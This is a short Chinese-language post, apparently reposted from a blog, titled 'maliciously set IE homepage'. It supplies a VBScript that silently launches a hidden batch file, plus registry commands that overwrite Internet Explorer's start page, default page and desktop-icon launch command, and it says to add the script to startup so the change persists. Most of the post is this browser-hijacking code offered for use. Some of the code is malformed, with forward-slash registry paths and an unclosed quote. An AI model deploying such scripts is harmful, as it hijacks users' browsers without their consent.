恶意设置IE首页!

来源:互联网 发布:linux 添加www用户组 编辑:程序博客网 时间:2024/04/19 08:39

需要两个文件:run.vbs      home.cmd

run.vbs 文件内容:

DIM objShell
set objShell=wscript.createObject("wscript.shell")
iReturn=objShell.Run("cmd.exe /C C:/WINDOWS/home.cmd", 0, TRUE)

 

 

home.cmd文件内容:

reg add "HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main" /v "Start Page" /t reg_sz /d 网址 /f
reg add "HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main" /v "Default_Page_URL" /t reg_sz /d
网址
/f
reg add "HKEY_CLASSES_ROOT/CLSID/{871C5380-42A0-1069-A2EA-08002B30309D}/shell/OpenHomePage/Command" /ve /t reg_sz /d "C:/Program Files/Internet Explorer/iexplore.exe
网址 /f

然后把run.vbs加入启动项即可

 

原创粉丝点击